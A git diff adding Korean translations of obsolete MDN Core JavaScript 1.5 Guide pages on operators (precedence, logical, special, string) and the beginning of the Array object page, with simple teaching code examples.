+</tbody></table>
+<p><small><b>표 3.6: 비트 이동 연산자</b></small>
+</p><p>{{ PreviousNext("Core_JavaScript_1.5_Guide:Operators:Arithmetic_Operators", "Core_JavaScript_1.5_Guide:Operators:Logical_Operators") }}
+</p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Operators/Bitwise_Operators", "fr": "fr/Guide_JavaScript_1.5/Op\u00e9rateurs/Op\u00e9rateurs_bit-\u00e0-bit", "ja": "ja/Core_JavaScript_1.5_Guide/Operators/Bitwise_Operators", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Operatory/Operatory_bitowe" } ) }}
diff --git a/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/operators/index.html b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/operators/index.html
new file mode 100644
index 0000000000..53b8e67492
--- /dev/null
+++ b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/operators/index.html
@@ -0,0 +1,108 @@
+---
+title: Operators
+slug: Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators
+---
+<h3 id=".EC.97.B0.EC.82.B0.EC.9E.90" name=".EC.97.B0.EC.82.B0.EC.9E.90"> 연산자 </h3>
+<p>JavaScript에는 다음과 같은 연산자 타입이 있습니다. 이 섹션은 연산자에 대해 기술하고 연산자 우선순위에 대한 정보를 제공합니다.
+</p>
+<ul><li> <a href="ko/Core_JavaScript_1.5_Guide/Operators/Assignment_Operators">할당 연산자</a>
+</li><li> <a href="ko/Core_JavaScript_1.5_Guide/Operators/Comparison_Operators">비교 연산자</a>
+</li><li> <a href="ko/Core_JavaScript_1.5_Guide/Operators/Arithmetic_Operators">산술 연산자</a>
+</li><li> <a href="ko/Core_JavaScript_1.5_Guide/Operators/Bitwise_Operators">비트 연산자</a>
+</li><li> <a href="ko/Core_JavaScript_1.5_Guide/Operators/Logical_Operators">논리 연산자</a>
+</li><li> <a href="ko/Core_JavaScript_1.5_Guide/Operators/String_Operators">문자열 연산자</a>
+</li><li> <a href="ko/Core_JavaScript_1.5_Guide/Operators/Special_Operators">특수 연산자</a>
+</li></ul>
+<p>JavaScript는 이항연산자와 단항연산자를 모두 사용할 수 있습니다. 이항연산자는 두개의 피연산자(operand)를 가지며, 하나의 피연산자는 연산자 앞에 나머지 하나는 뒤에 위치합니다:
+</p>
+<pre>operand1 operator operand2
+</pre>
+<p>예를 들자면, <code>3+4</code> 혹은 <code>x*y</code>와 같은 것입니다.
+</p><p>단항연산자는 연산자 앞 혹은 뒤쪽에 하나의 피연산자만 있으면 됩니다:
+</p>
+<pre>operator operand
+</pre>
+<p>혹은
+</p>
+<pre>operand operator
+</pre>
+<p>예를 들자면, <code>x++</code> 혹은 <code>++x</code>와 같은 것입니다.
+</p><p>덧붙여, JavaScript는 한개의 삼항연산자, 조건 연산자를 가지고 있습니다. 삼항 연산자는 세개의 피연산자가 필요합니다.
+</p>
+<h4 id=".EC.97.B0.EC.82.B0.EC.9E.90_.EC.9A.B0.EC.84.A0.EC.88.9C.EC.9C.84" name=".EC.97.B0.EC.82.B0.EC.9E.90_.EC.9A.B0.EC.84.A0.EC.88.9C.EC.9C.84"> 연산자 우선순위 </h4>
+<p><small><i><a>관련된 논의</a>에 따라서, 아래의 표는 우선순위 순으로 <b>내림차순</b> 정렬되었습니다.</i></small>
+</p>
+<table class="fullwidth-table">
+<tbody><tr>
+<th>연산자 타입</th>
+<th>사용하는 연산자</th>
+</tr>
+<tr>
+<td>멤버 </td>
+<td>.  []</td>
+</tr>
+<tr>
+<td>호출 / 인스턴스 생성 </td>
+<td>()  new</td>
+</tr>
+<tr>
+<td>부정/증감 </td>
+<td>!  ~  -  +  ++  --  typeof  void  delete</td>
+</tr>
+<tr>
+<td>곱하기/나누기 </td>
+<td>*  /  %</td>
+</tr>
+<tr>
+<td>더하기/빼기 </td>
+<td>+  -</td>
+</tr>
+<tr>
+<td>비트 이동 </td>
+<td>&lt;&lt;  &gt;&gt;  &gt;&gt;&gt;</td>
+</tr>
+<tr>
+<td>관계 </td>
+<td>&lt;  &lt;=  &gt;  &gt;=  in  instanceof</td>
+</tr>
+<tr>
+<td>같음 </td>
+<td>==  !=  ===  !==</td>
+</tr>
+<tr>
+<td>비트연산-and </td>
+<td>&amp;</td>
+</tr>
+<tr>
+<td>비트연산-xor </td>
+<td>^</td>
+</tr>
+<tr>
+<td>비트연산-or </td>
+<td>|</td>
+</tr>
+<tr>
+<td>논리연산-and </td>
+<td>&amp;&amp;</td>
+</tr>
+<tr>
+<td>논리연산-or </td>
+<td>||</td>
+</tr>
+<tr>
+<td>조건 </td>
+<td>?:</td>
+</tr>
+<tr>
+<td>할당 </td>
+<td>=  +=  -=  *=  /=  %=  &lt;&lt;=  &gt;&gt;=  &gt;&gt;&gt;=  &amp;=  ^=  |=</td>
+</tr>
+<tr>
+<td>컴마</td>
+<td>,</td>
+</tr>
+</tbody></table>
+<p><small><b>표: 연산자 우선순위</b></small>
+</p><p>이 표의 보다 자세한 버전은 <a href="ko/Core_JavaScript_1.5_Reference/Operators/Operator_Precedence#Table">레퍼런스 섹션</a>에 있는 각 연산자별 상세한 추가 설명 링크를 참고하세요.
+</p><p>{{ PreviousNext("Core_JavaScript_1.5_Guide:Expressions", "Core_JavaScript_1.5_Guide:Operators:Assignment_Operators") }}
+</p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Operators", "fr": "fr/Guide_JavaScript_1.5/Op\u00e9rateurs", "ja": "ja/Core_JavaScript_1.5_Guide/Operators", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Operatory" } ) }}
diff --git a/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/operators/logical_operators/index.html b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/operators/logical_operators/index.html
new file mode 100644
index 0000000000..6b30493f83
--- /dev/null
+++ b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/operators/logical_operators/index.html
@@ -0,0 +1,68 @@
+---
+title: Logical Operators
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators/Logical_Operators
+translation_of: Web/JavaScript/Guide/Expressions_and_Operators
+---
+<h3 id=".EB.85.BC.EB.A6.AC_.EC.97.B0.EC.82.B0.EC.9E.90" name=".EB.85.BC.EB.A6.AC_.EC.97.B0.EC.82.B0.EC.9E.90"> 논리 연산자 </h3>
+<p>논리 연산자는 주로 불리언(논리적) 값과 함께 사용됩니다. 그때 논리 연산자는 불리언 값을 반환합니다. 그러나 &amp;&amp;와 || 연산자는 실제로는 피연산자 중에 하나의 값을 반환하기 때문에, 이 연산자가 불리언 값이 아닌 값과 함께 사용되면 불리언 값이 아닌 값을 반환할 것입니다. 다음 표에 논리 연산자에 대해서 설명했습니다.
+</p>
+<table class="fullwidth-table">
+<tbody><tr>
+<th>연산자</th>
+<th>사용법</th>
+<th>설명</th>
+</tr>
+<tr>
+<td>&amp;&amp;</td>
+<td>expr1 &amp;&amp; expr2</td>
+<td>(논리적 AND) expr1이 false로 변환될 수 있으면 expr1을 반환하고, 그렇지 않으면 expr2를 반환합니다. 그러므로 불리언 값과 같이 사용하면 피연산자 둘 모두가 true일 때 &amp;&amp;는 true를 반환하고 그렇지 않을 때는 false를 반환합니다.</td>
+</tr>
+<tr>
+<td>||</td>
+<td>expr1 || expr2</td>
+<td>(논리적 OR) expr1이 true로 변환될 수 있으면 expr1을 반환하고 그렇지 않으면 expr2를 반환합니다. 그러므로 불리언 값과 같이 사용하면 ||는 피연산자 중에서 하나만 true이면 true를 반환합니다. 둘 다 false이면 false를 반환합니다.</td>
+</tr>
+<tr>
+<td>!</td>
+<td>!expr</td>
+<td>(논리적 NOT) 피연산자가 true로 변환될 수 있으면 false를 반환합니다. 그렇지 않으면 true를 반환합니다.</td>
+</tr>
+</tbody></table>
+<p><small><b>표 3.7: 논리 연산자</b></small>
+</p><p>false로 변환될 수 있는 표현식은 null, 0, 빈 문자열(""), undefined로 평가될 수 있는 표현식들입니다.
+</p><p>다음 코드는 &amp;&amp; 연산자를 사용하는 예를 보여줍니다.
+</p>
+<pre>a1=true &amp;&amp; true // t &amp;&amp; t returns true
+a2=true &amp;&amp; false // t &amp;&amp; f returns false
+a3=false &amp;&amp; true // f &amp;&amp; t returns false
+a4=false &amp;&amp; (3 == 4) // f &amp;&amp; f returns false
+a5="Cat" &amp;&amp; "Dog" // t &amp;&amp; t returns Dog
+a6=false &amp;&amp; "Cat" // f &amp;&amp; t returns false
+a7="Cat" &amp;&amp; false // t &amp;&amp; f returns false
+</pre>
+<p>다음 코드는 || 연산자를 사용하는 예를 보여줍니다.
+</p>
+<pre>o1=true || true // t || t returns true
+o2=false || true // f || t returns true
+o3=true || false // t || f returns true
+o4=false || (3 == 4) // f || f returns false
+o5="Cat" || "Dog" // t || t returns Cat
+o6=false || "Cat" // f || t returns Cat
+o7="Cat" || false // t || f returns Cat
+</pre>
+<p>다음 코드는 ! 연산자를 사용하는 예를 보여줍니다.
+</p>
+<pre>n1=!true // !t returns false
+n2=!false // !f returns true
+n3=!"Cat" // !t returns false
+</pre>
+<h4 id=".EB.8B.A8.EC.B6.95_.ED.8F.89.EA.B0.80" name=".EB.8B.A8.EC.B6.95_.ED.8F.89.EA.B0.80"> 단축 평가 </h4>
+<p>논리 표현식이 왼쪽부터 오른쪽으로 평가되기 때문에 다음 규칙을 이용해서 "단축(short-circuit)" 평가를 할 수 있습니다.
+</p>
+<ul><li> <code>false</code> &amp;&amp; <i>아무 표현식</i>은 false로 단축 평가 됩니다.
+</li><li> <code>true</code> || <i>아무 표현식</i>은 true로 단축 평가 됩니다.
+</li></ul>
+<p>이 규칙을 따라 평가를 수행한다고 해서 피연산자를 모두 평가할 때와 결과가 달라지지 않습니다. <i>아무 표현식</i> 부분은 평가되지 않기 때문에 아무런 부수 효과(side effect)도 일어나지 않는다는 것에 주의하십시오.
+</p><p>{{ PreviousNext("Core_JavaScript_1.5_Guide:Operators:Bitwise_Operators", "Core_JavaScript_1.5_Guide:Operators:String_Operators") }}
+</p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Operators/Logical_Operators", "fr": "fr/Guide_JavaScript_1.5/Op\u00e9rateurs/Op\u00e9rateurs_logiques", "ja": "ja/Core_JavaScript_1.5_Guide/Operators/Logical_Operators", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Operatory/Operatory_logiczne" } ) }}
diff --git a/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/operators/special_operators/index.html b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/operators/special_operators/index.html
new file mode 100644
index 0000000000..aa66b296fc
--- /dev/null
+++ b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/operators/special_operators/index.html
@@ -0,0 +1,228 @@
+---
+title: Special Operators
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators/Special_Operators
+translation_of: Web/JavaScript/Guide/Expressions_and_Operators
+---
+<h3 id=".ED.8A.B9.EC.88.98_.EC.97.B0.EC.82.B0.EC.9E.90" name=".ED.8A.B9.EC.88.98_.EC.97.B0.EC.82.B0.EC.9E.90"> 특수 연산자 </h3>
+<p>JavaScript 다음과 같은 특별한 연산자를 제공합니다.
+</p>
+<ul><li> {{ Anch("조건 연산자") }}
+</li><li> {{ Anch("쉼표 연산자") }}
+</li><li> {{ Anch("delete") }}
+</li><li> {{ Anch("in") }}
+</li><li> {{ Anch("instanceof") }}
+</li><li> {{ Anch("new") }}
+</li><li> {{ Anch("this") }}
+</li><li> {{ Anch("typeof") }}
+</li><li> {{ Anch("void") }}
+</li></ul>
+<h4 id=".EC.A1.B0.EA.B1.B4_.EC.97.B0.EC.82.B0.EC.9E.90" name=".EC.A1.B0.EA.B1.B4_.EC.97.B0.EC.82.B0.EC.9E.90"> 조건 연산자 </h4>
+<p>조건 연산자는 JavaScript에서 유일하게 세 개의 피연산자를 사용하는 연산자입니다. 연산자는 조건에 따라 둘 중에 하나의 값을 가질 수 있습니다. 문법은 이렇습니다.
+</p>
+<pre>condition ? val1 : val2
+</pre>
+<p><code>condition</code>이 true이면 연산자는 <code>val1</code>의 값을 갖습니다. 그렇지 않으면 <code>val2</code>의 값을 갖습니다. 다른 표준 연산자를 사용할 수 있는 곳이면 어디든지 조건 연산자를 사용할 수 있습니다.
+</p>
+<pre>status = (age &gt;= 18) ? "adult" : "minor"
+</pre>
+<p>이 문장은 <code>age</code>가 18이거나 더 큰 경우에 <code>status</code> 변수에 "adult"라는 값을 할당합니다. 그렇지 않으면 "minor"라는 값을 할당합니다.
+</p>
+<h4 id=".EC.89.BC.ED.91.9C_.EC.97.B0.EC.82.B0.EC.9E.90" name=".EC.89.BC.ED.91.9C_.EC.97.B0.EC.82.B0.EC.9E.90"> 쉼표 연산자 </h4>
+<p>쉼표 연산자(,)는 단순히 피연산자 둘을 모두 평가하고 두 번째 피연산자의 값을 반환하는 연산자입니다. 이 연산자는 주로 <code>for</code> 반복문에서 변수 여러 개가 매번 업데이트 되게 하는데 쓰입니다.
+</p><p>예를 들어 <code>a</code>가 각각 10줄의 원소를 가지는 2차원 배열일 때, 다음 코드에서는 변수 두 개를 한 번에 바꾸기 위해서 쉼표 연산자를 사용하고 있습니다. 이 코드는 배열의 대각선 원소를 출력합니다.
+</p>
+<pre>for (var i=0, j=9; i &lt;= 9; i++, j--)
+ document.writeln("a["+i+"]["+j+"]= " + a[i][j])
+</pre>
+<h4 id="delete" name="delete"> delete </h4>
+<p>delete는 개체(object), 개체의 속성(property), 배열의 특정 인덱스에 있는 원소(element)를 지우는 연산자입니다. 문법은 이렇습니다.
+</p>
+<pre>delete objectName
+delete objectName.property
+delete objectName[index]
+delete property // with 문장 안에서만 유효합니다
+</pre>
+<p><code>objectName</code>은 개체 이름이고, <code>property</code>는 개체에 존재하는 속성이고, <code>index</code>는 배열의 원소 위치를 나타내는 정수입니다.
+</p><p>네 번째 형식은 개체의 속성을 지우는 코드인데, <code>with</code> 문장 안에서만 사용할 수 있습니다.
+</p><p>암시적으로 선언된 변수를 지울 때는 <code>delete</code> 연산자를 사용할 수 있지만 <code>var</code> 문장을 이용해서 선언된 변수는 지울 수 없습니다.
+</p><p><code>delete</code> 연산자 실행이 성공하면, 속성이나 원소가 <code>undefined</code>로 설정됩니다. <code>delete</code> 연산자는 실행이 가능하면 true를 반환하고, 불가능하면 false를 반환합니다.
+</p>
+<pre>x=42
+var y= 43
+myobj=new Number()
+myobj.h=4 // h라는 속성을 만듭니다
+delete x // returns true (암시적으로 선언된 변수는 지울 수 있습니다)
+delete y // returns false (var로 선언한 변수는 지울 수 없습니다)
+delete Math.PI // returns false (미리 정의된 속성은 지울 수 없습니다)
+delete myobj.h // returns true (사용자 정의 속성은 지울 수 있습니다)
+delete myobj // returns true (암시적으로 선언되었으므로 지울 수 있습니다)
+</pre>
+<p><b>배열의 원소를 지우기</b><br>
+배열의 원소를 지울 때, 배열의 길이에는 변화가 없습니다. 예를 들어, a{{ mediawiki.external(3) }}, a{{ mediawiki.external(4) }}를 지우더라도 a{{ mediawiki.external(4) }}와 a{{ mediawiki.external(3) }}은 여전히 정의되지 않습니다.
+</p><p><code>delete</code> 연산자가 배열 원소를 제거할 때 원소는 더이상 배열에 존재하지 않습니다. 아래 예제에서 trees{{ mediawiki.external(3) }}은 <code>delete</code>로 제거되었습니다.
+</p>
+<pre>trees=new Array("redwood","bay","cedar","oak","maple")
+delete trees[3]
+if (3 in trees) {
+ // 이 블록은 실행되지 않습니다.
+}
+</pre>
+<p>배열 원소가 존재하긴 하지만 정의되지 않은 값을 가지도록 하고 싶다면 <code>delete</code> 연산자 대신 <code>undefined</code> 키워드를 사용하십시오. 다음 예제에서 <code>trees{{ mediawiki.external(3) }}</code>에 <code>undefined</code> 값을 할당했지만 배열 요소는 여전히 존재합니다.
+</p>
+<pre>trees=new Array("redwood","bay","cedar","oak","maple")
+trees[3]=undefined
+if (3 in trees) {
+ // 이 블록은 실행됩니다.
+}
+</pre>
+<h4 id="in" name="in"> in </h4>
+<p><code>in</code> 연산자는 지정된 속성이 지정된 개체에 있으면 true를 반환합니다. 문법은 이렇습니다.
+</p>
+<pre>propNameOrNumber in objectName
+</pre>
+<p><code>propNameOrNumber</code>은 속성 이름을 나타내는 문자열이나 배열 인덱스를 나타내는 수이고, <code>objectName</code>은 개체 이름입니다.
+</p><p>다음 예제는 <code>in</code> 연산자의 몇 가지 사용법을 보여줍니다.
+</p>
+<pre>// 배열
+trees=new Array("redwood","bay","cedar","oak","maple")
+0 in trees // returns true
+3 in trees // returns true
+6 in trees // returns false
+"bay" in trees // returns false (원하는 인덱스를 지정해야 하는데,
+ // 그 인덱스에 있는 값을 지정하면 안됩니다.)
+"length" in trees // returns true (length는 배열의 속성입니다.)
+
+// 미리 정의된 개체
+"PI" in Math // returns true
+myString=new String("coral")
+"length" in myString // returns true
+
+// 사용자 개체
+mycar = {make:"Honda",model:"Accord",year:1998}
+"make" in mycar // returns true
+"model" in mycar // returns true
+</pre>
+<h4 id="instanceof" name="instanceof"> instanceof </h4>
+<p><code>instanceof</code>는 지정된 개체가 지정된 개체 형식이면 true를 반환합니다. 문법은 이렇습니다.
+</p>
+<pre>objectName instanceof objectType
+</pre>
+<p><code>objectName</code>은 <code>objectType</code>과 비교할 개체의 이름이고, <code>objectType</code>은 개체 형식으로 <code>Date</code>나 <code>Array</code> 같은 것입니다.
+</p><p>실행중에 개체의 형식을 알고 싶으면 <code>instanceof</code>를 사용하면 됩니다. 예를 들어 예외를 처리할 때, 발생한 예외의 형식에 따라 서로 다른 예외 처리 코드를 실행할 수 있습니다.
+</p><p>다음 코드에서 <code>theDay</code>가 <code>Date</code> 개체인지 결정하기 위해서 <code>instanceof</code>를 사용합니다. <code>theDay</code>는 <code>Date</code> 개체이기 때문에 <code>if</code>문 안에 있는 문장이 실행됩니다.
+</p>
+<pre>theDay=new Date(1995, 12, 17)
+if (theDay instanceof Date) {
+ // 실행할 문장
+}
+</pre>
+<h4 id="new" name="new"> new </h4>
+<p>사용자 정의 개체 형식이나 <code>Array, Boolean, Date, Function, Image, Number, Object, Option, RegExp, String</code> 같이 미리 정의된 개체 형식의 인스턴스를 만들 때 <code>new</code> 연산자를 사용합니다. 서버에서는 <code>DbPool, Lock, File, SendMail</code> 등을 만들 때 사용할 수 있습니다. <code>new</code>는 다음과 같이 사용합니다.
+</p>
+<pre>objectName = new objectType ( param1 [,param2] ...[,paramN] )
+</pre>
+<p><a href="ko/Core_JavaScript_1.5_Guide/Creating_New_Objects/Using_Object_Initializers">개체 초기화 지정자 사용하기</a>에 설명한 것처럼 개체 초기화 지정자를 이용해서 개체를 만들 수도 있습니다.
+</p><p>더 많은 정보를 얻으려면 JavaScript 레퍼런스의 <a href="ko/Core_JavaScript_1.5_Reference/Operators/Special_Operators/new_Operator">new 연산자</a> 페이지를 보시기 바랍니다.
+</p>
+<h4 id="this" name="this"> this </h4>
+<p>현재 개체를 참조할 때 <code>this</code> 키워드를 사용합니다. 일반적으로 <code>this</code>는 메소드를 호출하는 개체를 참조합니다. 다음과 같이 사용하면 됩니다.
+</p>
+<pre>this[.propertyName]
+</pre>
+<p><b>예제 1.</b><br>
+개체의 <code>value</code> 속성이 높거나 낮은 값을 가지는지 검증하는 <code>validate</code>라는 함수가 있다고 가정합시다.
+</p>
+<pre>function validate(obj, lowval, hival) {
+ if ((obj.value &lt; lowval) || (obj.value &gt; hival))
+ alert("Invalid Value!")
+}
+</pre>
+<p>이제 우리는 폼의 각 요소의 <code>onChange</code> 이벤트 핸들러에서 <code>validate</code> 함수를 호출하면서, <code>this</code>를 이용하여 스스로를 함수에 전달할 수 있습니다.
+</p>
+<pre>&lt;B&gt;Enter a number between 18 and 99:&lt;/B&gt;
+&lt;INPUT TYPE = "text" NAME = "age" SIZE = 3
+ onChange="validate(this, 18, 99)"&gt;
+</pre>
+<p><b>예제 2.</b><br>
+<code>form</code> 속성과 결합되면, <code>this</code>는 현재 개체가 포함된 폼을 참조할 수 있습니다. 다음 예제에서 <code>myForm</code> 폼은 <code>Text</code> 개체와 버튼을 포함하고 있습니다. 사용자가 버튼을 클릭하면 <code>Text</code> 개체의 값이 폼 이름으로 설정됩니다. 버튼의 <code>onClick</code> 이벤트 핸들러는 부모 폼인 <code>myForm</code>을 참조하기 위해서 <code>this.form</code>을 사용하고 있습니다.
+</p>
+<pre>&lt;FORM NAME="myForm"&gt;
+Form name:&lt;INPUT TYPE="text" NAME="text1" VALUE="Beluga"&gt;
+&lt;P&gt;
+&lt;INPUT NAME="button1" TYPE="button" VALUE="Show Form Name"
+ onClick="this.form.text1.value=this.form.name"&gt;
+&lt;/FORM&gt;
+</pre>
+<h4 id="typeof" name="typeof"> typeof </h4>
+<p><code>typeof</code> 연산자는 둘 중 한 가지 방법으로 사용할 수 있습니다.
+</p>
+<pre>1. typeof operand
+2. typeof (operand)
+</pre>
+<p><code>typeof</code> 연산자는 피연산자의 평가되지 않은 형식을 나타내는 문자열을 반환합니다. <code>피연산자</code>는 string, variable, keyword, object 등의 타입을 반환하게 됩니다. 괄호는 선택적입니다.
+</p><p>우리가 이런 변수를 정의했다고 해봅시다.
+</p>
+<pre>var myFun = new Function("5+2")
+var shape="round"
+var size=1
+var today=new Date()
+</pre>
+<p><code>typeof</code>는 이 변수들에 대해서 다음과 같은 결과를 반환할 것입니다.
+</p>
+<pre>typeof myFun is function
+typeof shape is string
+typeof size is number
+typeof today is object
+typeof dontExist is undefined
+</pre>
+<p><code>true</code>와 <code>null</code> 키워드에 대해서 <code>typeof</code> 연산자는 다음과 같은 결과를 반환합니다.
+</p>
+<pre>typeof true is boolean
+typeof null is object
+</pre>
+<p>수와 문자열에 대해서 <code>typeof</code> 연산자는 다음과 같은 결과를 반환합니다.
+</p>
+<pre>typeof 62 is number
+typeof 'Hello world' is string
+</pre>
+<p>속성 값에 대해서 <code>typeof</code> 연산자는 속성이 포함하고 있는 값의 형식을 반환합니다.
+</p>
+<pre>typeof document.lastModified is string
+typeof window.length is number
+typeof Math.LN2 is number
+</pre>
+<p>메소드와 함수에 사용하면 <code>typeof</code> 연산자는 다음과 같은 결과를 반환합니다.
+</p>
+<pre>typeof blur is function
+typeof eval is function
+typeof parseInt is function
+typeof shape.split is function
+</pre>
+<p>미리 정의된 개체들에 대해서 <code>typeof</code> 연산자는 다음과 같은 결과를 반환합니다.
+</p>
+<pre>typeof Date is function
+typeof Function is function
+typeof Math is function
+typeof Option is function
+typeof String is function
+</pre>
+<h4 id="void" name="void"> void </h4>
+<p><code>void</code> 연산자는 다음과 같이 사용할 수 있습니다.
+</p>
+<pre>1. void (expression)
+2. void expression
+</pre>
+<p><code>void</code> 연산자는 표현식이 값을 반환하지 않으면서 평가되어야 한다고 지정하는데 사용됩니다. <code>expression</code>은 평가하려는 JavaScript 표현식입니다. 표현식을 감싸는 괄호는 선택적이지만 사용하는 쪽이 더 좋은 스타일입니다.
+</p><p>표현식을 하이퍼텍스트 링크로 지정하기 위해서 <code>void</code> 연산자를 사용할 수 있습니다. 표현식이 평가되기는 하지만 현재 문서 대신 로드되지는 않습니다.
+</p><p>아래 코드는 사용자가 클릭할 때 아무 동작도 하지 않는 하이퍼텍스트 링크를 만듭니다. 사용자가 링크를 클릭하면 <code>void(0)</code>는 정의되지 않은 것(undefined)으로 평가되고 JavaScript에서 아무런 효과가 없습니다.
+</p>
+<pre>&lt;A HREF="javascript:void(0)"&gt;Click here to do nothing&lt;/A&gt;
+</pre>
+<p>다음 코드는 클릭하면 폼을 제출하는 하이퍼텍스트 링크를 만듭니다.
+</p>
+<pre>&lt;A HREF="javascript:void(document.form.submit())"&gt;
+Click here to submit&lt;/A&gt;
+</pre>
+<p>{{ PreviousNext("Core_JavaScript_1.5_Guide:Operators:String_Operators", "Core_JavaScript_1.5_Guide:Creating_a_Regular_Expression") }}
+</p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Operators/Special_Operators", "fr": "fr/Guide_JavaScript_1.5/Op\u00e9rateurs/Op\u00e9rateurs_sp\u00e9ciaux", "ja": "ja/Core_JavaScript_1.5_Guide/Operators/Special_Operators", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Operatory/Operatory_specjalne" } ) }}
diff --git a/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/operators/string_operators/index.html b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/operators/string_operators/index.html
new file mode 100644
index 0000000000..41c6c07286
--- /dev/null
+++ b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/operators/string_operators/index.html
@@ -0,0 +1,11 @@
+---
+title: String Operators
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators/String_Operators
+translation_of: Web/JavaScript/Guide/Expressions_and_Operators
+---
+<h4 id=".EB.AC.B8.EC.9E.90.EC.97.B4_.EC.97.B0.EC.82.B0.EC.9E.90" name=".EB.AC.B8.EC.9E.90.EC.97.B4_.EC.97.B0.EC.82.B0.EC.9E.90"> 문자열 연산자 </h4>
+<p>문자열 값에 사용할 수 있는 비교 연산자 외에도 연결 연산자(+)가 있는데, 이 연산자는 두 문자열 값을 연결한 새로운 문자열 값을 반환합니다. 예를 들어, <code>"my " + "string"</code>는 <code>"my string"</code>라는 문자열을 반환합니다.
+</p><p>축약된 할당 연산자인 += 또한 문자열 연결에 사용할 수 있습니다. 예를 들어 <code>mystring</code> 변수가 "alpha"라는 값을 가지고 있을 때, <code>mystring += "bet"</code>은 "alphabet"으로 평가되고, 그 값이 <code>mystring</code>에 할당됩니다.
+</p><p>{{ PreviousNext("Core_JavaScript_1.5_Guide:Operators:Logical_Operators", "Core_JavaScript_1.5_Guide:Operators:Special_Operators") }}
+</p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Operators/String_Operators", "fr": "fr/Guide_JavaScript_1.5/Op\u00e9rateurs/Op\u00e9rateurs_li\u00e9s_aux_cha\u00eenes", "ja": "ja/Core_JavaScript_1.5_Guide/Operators/String_Operators", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Operatory/Operacje_na_\u0142a\u0144cuchach" } ) }}
diff --git a/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/predefined_core_objects/array_object/index.html b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/predefined_core_objects/array_object/index.html
new file mode 100644
index 0000000000..1f6ef48f3a
--- /dev/null
+++ b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/predefined_core_objects/array_object/index.html
@@ -0,0 +1,133 @@
+---
+title: Array Object
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Predefined_Core_Objects/Array_Object
+---
+<h3 id="Array_.EA.B0.9C.EC.B2.B4" name="Array_.EA.B0.9C.EC.B2.B4">Array 개체</h3>
+<p>JavaScript에는 명시적인 배열 자료형이 없습니다. 하지만 배열을 다루기 위해서 <code>Array</code> 개체와 그 개체의 메소드를 이용할 수 있습니다. <code>Array</code> 개체에는 다양한 방법으로 배열을 다루기 위한 메소드들이 있는데, 배열을 합치거나, 순서를 뒤집거나, 정렬하는 등의 작업을 할 수 있습니다. 배열 길이를 알 수 있는 속성과 정규 표현식에 사용할 수 있는 속성들이 있습니다.
+ <i>
+ 배열</i>
+ 은 이름이나 색인으로 참조할 수 있는 값들을 모아놓은, 값의 순서가 유지되는 집합입니다. 예를 들어, 우리는 고용 번호로 색인된 고용인의 이름을 담고 있는 <code>emp</code>라는 배열을 만들 수 있습니다. 이 때 <code>emp{{ mediawiki.external(1) }}</code>는 1번 고용인, <code>emp{{ mediawiki.external(2) }}</code> 2번 고용인이 되는 것입니다.</p>
+<p> </p>
+<h4 id=".EB.B0.B0.EC.97.B4_.EB.A7.8C.EB.93.A4.EA.B8.B0" name=".EB.B0.B0.EC.97.B4_.EB.A7.8C.EB.93.A4.EA.B8.B0">배열 만들기</h4>
+<p><code>Array</code> 개체는 이렇게 만들 수 있습니다.</p>
+<pre>1. arrayObjectName = new Array(element0, element1, ..., elementN)
+2. arrayObjectName = new Array(arrayLength)
+</pre>
+<p><code>arrayObjectName</code>은 새 개체의 이름이거나 존재하는 다른 개체의 속성 이름입니다. <code>Array</code> 개체의 속성이나 메소드를 이용할 때는 arrayObjectName은 존재하는 <code>Array</code> 개체 이름이거나 존재하는 다른 개체의 속성입니다.</p>
+<p><code>element0, element1, ..., elementN</code>는 배열의 원소(element)가 될 값들입니다. 이런 식으로 지정하면, 나열한 값들을 원소로 가지고, 길이는 값의 개수인 배열이 만들어집니다.</p>
+<p><code>arrayLength</code>는 배열의 초기 길이입니다. 다음 코드는 원소 다섯 개를 가지는 배열을 만듭니다.</p>
+<pre>billingMethod = new Array(5)
+</pre>
+<p>배열 상수값 또한 <code>Array</code> 개체입니다. 예를 들어, 다음과 같은 상수값은 <code>Array</code> 개체입니다. 배열 상수값에 대한 자세한 내용은 <a href="ko/Core_JavaScript_1.5_Guide/Literals#.EB.B0.B0.EC.97.B4_.EC.83.81.EC.88.98.EA.B0.92">배열 상수값</a>을 보시기 바랍니다.</p>
+<pre>coffees = ["French Roast", "Columbian", "Kona"]
+</pre>
